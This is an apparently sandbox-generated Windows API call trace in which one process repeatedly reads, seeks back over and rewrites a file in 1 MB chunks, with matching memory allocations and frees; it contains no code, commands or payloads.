	[0106.871] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0106.890] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.894] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.894] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0106.896] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.900] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0106.940] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0106.952] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0106.971] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.975] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.975] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0106.978] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0106.982] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0106.990] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0107.004] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0107.023] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.027] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.027] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0107.029] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.046] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0107.056] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0107.074] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0107.099] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.103] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.103] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0107.106] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.110] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0107.117] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0107.134] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0107.153] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.157] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.157] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0107.233] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.237] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0107.248] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0107.260] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0107.286] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.289] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.289] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0107.291] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.294] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0107.300] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0107.311] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0107.326] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.328] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.329] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0107.330] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.333] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0107.340] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0107.369] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0107.386] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.390] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.391] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0107.393] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.397] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0107.404] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0107.417] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0107.433] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.436] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.436] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0107.438] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.441] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0107.448] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0107.458] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0107.493] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.497] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.497] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0107.499] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.502] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0107.507] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0107.516] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0107.531] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.535] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.535] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0107.537] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.540] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0107.548] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0107.558] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0107.577] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.581] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.581] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0107.583] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.586] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0107.601] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0107.627] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0107.643] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.647] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.647] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0107.649] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.653] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0107.662] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0107.682] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0107.751] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.755] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.755] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0107.757] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.761] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0107.768] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0107.773] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0107.803] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.807] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.807] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0107.809] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.812] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0107.819] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0107.831] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0107.851] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.854] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.854] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0107.855] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.859] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0107.871] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0107.878] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0107.894] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.897] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.897] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0107.899] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.903] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0107.922] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0107.942] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0107.957] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.960] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.960] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0107.962] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0107.965] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0107.971] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0107.982] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0108.000] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.003] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.003] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0108.005] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.008] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0108.016] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0108.025] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0108.110] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.114] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.114] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0108.116] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.119] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0108.125] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0108.134] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0108.153] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.157] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.157] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0108.160] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.164] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0108.174] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0108.184] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0108.199] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.222] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.222] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0108.224] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.227] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0108.234] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0108.247] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0108.264] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.267] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.268] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0108.269] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.272] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0108.278] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0108.290] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0108.306] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.309] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.309] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0108.310] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
